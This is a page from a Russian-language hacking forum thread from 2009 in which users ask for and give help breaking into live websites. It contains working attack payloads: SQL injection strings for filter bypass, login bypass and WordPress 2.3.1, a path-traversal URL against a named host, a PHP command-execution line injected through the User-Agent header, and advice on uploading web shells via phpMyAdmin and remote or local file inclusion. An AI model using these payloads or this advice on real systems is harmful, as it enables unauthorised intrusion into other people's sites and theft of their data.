Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    serega393 ну думаю даже если ты ламо то читать все равно умеешь, тема поднималась сотни раз на форуме, а еще человечек Jokester специально для таких как ты создал отдельный топик в уязвимостях
     
  2. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    Если какой нибудь способ обойти такую зашиту от sql injection:
    if(preg_match('/[^\w-]/',$_POST['id'])) die("wrong <b>id</b>");
    далее по коду $_POST['id'] свободно вставляеться в гвери без каких нибудь дополнительных проверок, как я понимаю preg_match бинарнобезопасная функция и ей пофигу на нуль байты и etc.
     
  3. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Доступны логи, в чём проблема?
    http://samovar.teaspoon.ru/?what=../../../../../../../../../../../../proc/self/fd/2%00
     
  4. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Мне кажется кто-то спалился. Бага была. теперь её нет
     
  5. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    PaCo

    Ну, можно попробовать придумать сценарий успешного обхода такой проверки. У меня есть некоторые мысли, но чтоб на практике реализовать это, нужно чтоб совпало слишком много всего. Например, в MySQL 4.0.x можно использовать не-ascii-символы в качестве альтернативы пробельным символам в SQL-запросе. PHP же успешно пропустит некоторые такие символы через эту регулярку (не уверен, что всегда, но у меня получалось такое). Т.е. если SQL-инъекция, например, в параметре WHERE опреатора SELECT, и в этом запросе выбирается одна колонка, то запрос:
    id=-1ђunionђselectђpasswordђfromђusers
    скорее всего обойдет эту регулярку и успешно выполнится. Теоретически (я не пробовал)... :)
     
    #7265 cr0w, 25 May 2009
    Last edited: 25 May 2009
    1 person likes this.
  6. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    в том то и вся лажа(я забыл упомянуть) что в запрос идет $_POST['id'] в двойных кавычках, фактически мне достаточно и того что бы просто нарушить как то запрос,вызвать ошибку(есть другая скуля но для ее экплотации необходим префикс и в ней еррор не выводится вообше) а в этой скули в случаи неудачи выводится весь запрос с префиксом,а про то что \w может пропустить не совсем печатные символы которые некоторые версии мускуля могут воспринять как пробел( в зависимости от того как был собран PCRE) я в курсе, но двойную ковычку там ничего не заменит, в попытках вызвать Illegal mix of collations я уже испробывал все возможные кодировки, вот запрос которые идет в базу:
    PHP:
    SELECT content_name FROM $base.".$prefix_."content_item WHERE $base.".$prefix_."content_item.content_name = \"" $_POST['id'] . "\" LIMIT 1";

    content_name:
    varchar(100) ,utf8_unicode_ciпо умолчанию null
     
    #7266 PaCo, 25 May 2009
    Last edited: 25 May 2009
  7. DeepXhadow

    DeepXhadow Elder - Старейшина

    Joined:
    19 Apr 2008
    Messages:
    57
    Likes Received:
    11
    Reputations:
    5
    странная SQL inj

    При запросе www.host.ru/new/?' вылазит ошибка
    Code:
    insert into statistic(resource,charset,user_agent,remote_addr,method,URI,DC) values (' - equipment','windows-1251','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)','IP','GET','/new/?'',NOW())<br>: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/new/?'',NOW())' at line 1
    В дальнейшем на
    +order+by+10000--
    +order+by+10000/*
    '+order+by+10000--
    ?-1+order+by+10000--
    просто выводит страницу...+ на /**/ заменял....как обойти такую фильтрацию, или может нужно по другому запрос сделать?
    ПС. Все хедеры отправляю HttpREQ, т. к. браузер даже на /new/?' не реагирует.
     
  8. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    Ты на запрос посмотри - там тока блаинд.
     
  9. DeepXhadow

    DeepXhadow Elder - Старейшина

    Joined:
    19 Apr 2008
    Messages:
    57
    Likes Received:
    11
    Reputations:
    5
    Я понимаю что блинд. но запросы то +order+by+1000000-- и +order+by+1-- должны возвращать разные результаты...или нужно использовать подзапросы?
     
  10. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    для начало почитай здесь - http://www.phpclub.ru/mysql/doc/insert.html

    потом неспеша сюда переходи- http://forum.antichat.ru/thread119047.html
    вопросы должны отпасть.
     
  11. [ReV]OLVeR

    [ReV]OLVeR Banned

    Joined:
    20 May 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Помогите разобратся вот с этим.
    http://forum.antichat.ru/threadnav49775-2-10.html

    как понять эту строчьку ?
    User-Agent: <?php passthru($_GET['cmd']) ?>
    C помощью чего её передать?
    Ясно что post запросом но при помощи чего ??
     
    #7271 [ReV]OLVeR, 25 May 2009
    Last edited: 25 May 2009
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Этой коммандой ты можешь исполнять системные комманды, используя параметр $_GET['cmd'], т.е. http://site.com/script.php?cmd=help. Передать с помощью программы, отсылающей сокеты, н.п. InetCrack.
     
  13. _Quest_

    _Quest_ Member

    Joined:
    21 May 2009
    Messages:
    11
    Likes Received:
    12
    Reputations:
    3
    При входе в панэль администратирования задаю зачение:
    login:'
    Pass:'

    в ответ:
    Code:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
    
    ' or 1=1/*

    возврощает ответ:

    Неверный пароль!

    В принципе подобра что есть 4 колонки но скуля блайнд.
    Что можно придумать с авторизацией?

    PS :jokester c заливкой через ../../proc/self/fd/2%00 почемуто не канает(.
     
    #7273 _Quest_, 25 May 2009
    Last edited: 25 May 2009
  14. mak-shapova

    mak-shapova New Member

    Joined:
    11 Jan 2009
    Messages:
    15
    Likes Received:
    2
    Reputations:
    0
    пытаюсь заюзать багу в wordpress 2.3.1
    http://site.com/bloggi/?feed=rss2&p=11/**/union/**/select/**/1,2/**/+--+
    в ответ ошибка
    че делать?
     
  15. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    смотри на запрос:
    SELECT wp_comments.* FROM wp_comments WHERE comment_post_ID = AND comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 10

    из него же видно что comment_post_ID = идет сравнения но ничего не вставляеться в запрос т.к. твой данные не прошли фильтр.
     
  16. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Подскажите есть ли уязвимость в этом скрипте подгрузки?
    Если да, то как можно использовать для PHP-inj

    PHP:
    if (!IsSet($t)&!IsSet($f))
        {
        
    $f="main";
        
    $filename=$f ".php";
        }
        else
            {
            if (IsSet(
    $t)&!IsSet($f))
                {
                
    $filename=$t "/index.php";
                }
            if (IsSet(
    $t)&IsSet($f))
                {
                
    $filename$t "/" $f ".php";
                }
            if (!IsSet(
    $t)&IsSet($f))
                {
                
    $filename=$f ".php";
                }
            }


    if (
    file_exists("$filename"))
    { include(
    "$filename"); }
    else
    { echo 
    " <div class=\"alert\"> Ошибка 404, Страница не найдена. </div>"; }
     
  17. serfertty

    serfertty Guest

    Reputations:
    0
    Есть phpmyadmin и юзер с полными правами. Пытаюсь залить шелл в разные директории пишет:"Can't create a file...", но успешно создает при попытке залить в /tmp/. Что можно сделать в этой ситуации?
     
  18. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 Shaitan-Devil:

    искать директорию на запись, например сканером сайта на папки
     
  19. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    2 Byrger
    [RFI]
    заливаешь на фтп шел с именем index.php
    или шелл с любым именем, но без расширения
    [LFI]
    2 Shaitan-Devil
    можешь посмотреть сайты по реверс айпи на присутствие локального инклуда, и потом инклуднуть записанный в /tmp шелл
     
    #7279 Iceangel_, 27 May 2009
    Last edited: 27 May 2009
    2 people like this.
  20. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    2 Byrger

    если в $t диру а в $f имя файла то можно будет проинклюдить существующий файл.
     
    1 person likes this.
Thread Status:
Not open for further replies.